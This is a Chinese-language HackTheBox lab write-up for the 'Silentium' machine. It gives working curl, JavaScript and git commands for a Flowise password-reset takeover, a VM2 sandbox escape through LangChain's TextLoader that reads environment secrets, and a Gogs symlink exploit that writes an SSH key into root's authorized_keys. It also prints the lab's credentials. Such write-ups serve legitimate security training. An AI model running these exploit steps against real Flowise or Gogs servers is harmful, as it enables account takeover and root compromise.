Silentium - HackTheBox Writeup

發布日期:2026/4/12

摘要: Silentium 是一台 Easy 等級的 Linux 靶機,包含 Flowise AI Agent Builder (v3.0.5) 和內部的 Gogs Git 服務 (v0.13.3)。攻擊鏈如下: 1. **CVE-2025-58434** - Flowise 密碼重設漏洞,取得管理員存取權限 2. **自訂函式 RCE** - 利用 LangChain 的 TextLoader 繞過 VM2 沙箱讀取敏感環境變數 3. **CVE-2025-8110** - Gogs 符號連結路徑穿越漏洞,寫入 SSH 公鑰至 root 的 authorized_keys


Silentium - HackTheBox Writeup

難度: Easy | 作業系統: Linux | 賽季: Season 10

摘要

Silentium 是一台 Easy 等級的 Linux 靶機,包含 Flowise AI Agent Builder (v3.0.5) 和內部的 Gogs Git 服務 (v0.13.3)。攻擊鏈如下:

  1. CVE-2025-58434 - Flowise 密碼重設漏洞,取得管理員存取權限
  2. 自訂函式 RCE - 利用 LangChain 的 TextLoader 繞過 VM2 沙箱讀取敏感環境變數
  3. CVE-2025-8110 - Gogs 符號連結路徑穿越漏洞,寫入 SSH 公鑰至 root 的 authorized_keys

偵查

連接埠掃描

22/tcp - SSH
80/tcp - HTTP (nginx 1.24.0)

虛擬主機列舉

  • silentium.htb - 靜態企業網站
  • staging.silentium.htb - Flowise 3.0.5 實例

立足點 - Flowise 管理員存取 (CVE-2025-58434)

Flowise 3.0.5 的忘記密碼端點存在漏洞,會洩漏使用者資料(包含 tempToken):

# 取得 tempToken
curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb"}}'

# 重設密碼
curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"<TOKEN>","password":"x"}}'

# 登入
curl -c cookies.txt -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"ben@silentium.htb","password":"x"}'

重要:所有需要認證的 API 呼叫都必須同時提供 session cookies 和 x-request-from: internal 標頭。

使用者權限 - 透過自訂函式讀取環境變數

沙箱限制

Flowise 的 POST /api/v1/node-custom-function 端點在 VM2 沙箱中執行 JavaScript。直接的檔案系統模組(fschild_process)被封鎖:

// 失敗:Cannot find module 'fs'
const fs = require("fs");

突破口:LangChain TextLoader

透過列舉可用模組,發現 LangChain 的文件載入器可以使用。TextLoader 類別內部使用來自主機 Node.js 環境的 fs,繞過了 VM2 沙箱限制:

const { TextLoader } = require("langchain/document_loaders/fs/text");
const loader = new TextLoader("/proc/1/environ");
const docs = await loader.load();
return docs[0].pageContent;

這揭露了容器的環境變數:

FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SENDER_EMAIL=ben@silentium.htb

SSH 存取

SMTP_PASSWORDr04D!!_R4ge)被重複使用為 ben 的 SSH 密碼:

ssh ben@silentium.htb  # 密碼: r04D!!_R4ge
cat ~/user.txt

Root 提權 - Gogs 符號連結 RCE (CVE-2025-8110)

內部服務發現

ss -tlnp
# 127.0.0.1:3001 - Gogs 0.13.3
# 127.0.0.1:8025 - MailHog

建立 SSH 隧道:

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

CVE-2025-8110:符號連結路徑穿越

Gogs 0.13.3 存在基於符號連結的路徑穿越漏洞。PutContents API(PUT /api/v1/repos/{owner}/{repo}/contents/{filepath})在寫入檔案內容時會跟隨符號連結,允許以 root 身份進行任意檔案寫入。

步驟一:註冊並認證

在 Gogs 上註冊新使用者(需要驗證碼),然後透過 /user/settings/applications 網頁介面建立 API Token。

步驟二:建立儲存庫並推送符號連結

# 透過 API 建立儲存庫
curl -X POST http://localhost:3001/api/v1/user/repos \
  -H "Authorization: token <TOKEN>" \
  -d '{"name":"pwn2","auto_init":true}'

# 複製並新增惡意符號連結
git clone http://user:pass@localhost:3001/user/pwn2.git
cd pwn2
ln -s /root/.ssh/authorized_keys root_keys
git add root_keys
git commit -m "add link"
git push origin master

步驟三:透過符號連結寫入 SSH 金鑰

產生 SSH 金鑰對,然後使用 PutContents API 透過符號連結寫入公鑰:

ssh-keygen -t ed25519 -f /tmp/htb_key -N ''

# 取得目前的 SHA
SHA=$(curl -s http://localhost:3001/api/v1/repos/user/pwn2/contents/root_keys \
  -H "Authorization: token <TOKEN>" | jq -r .sha)

# 透過符號連結覆寫 /root/.ssh/authorized_keys
curl -X PUT http://localhost:3001/api/v1/repos/user/pwn2/contents/root_keys \
  -H "Authorization: token <TOKEN>" \
  -H "Content-Type: application/json" \
  -d "{\"content\":\"$(base64 -w0 /tmp/htb_key.pub)\",\"message\":\"update\",\"sha\":\"$SHA\"}"

關鍵注意事項:符號連結必須使用絕對路徑(例如 /root/.ssh/authorized_keys)。相對路徑符號連結(如 .git/config)會導致 500 錯誤,因為它們在 PutContents 的臨時工作目錄中無法正確解析。

步驟四:Root 存取

ssh -i /tmp/htb_key root@silentium.htb
cat /root/root.txt

重點學習

  1. 透過模組依賴繞過 VM2 沙箱:即使 fs 被直接封鎖,依賴 fs 的 npm 套件(如 LangChain 的 TextLoader)仍然可以讀取檔案。
  2. 絕對與相對符號連結的差異:CVE-2025-8110 的利用需要使用絕對路徑符號連結才能可靠運作。
  3. 密碼重複使用:Flowise 中設定的 SMTP 密碼被重複使用為系統 SSH 密碼。
目錄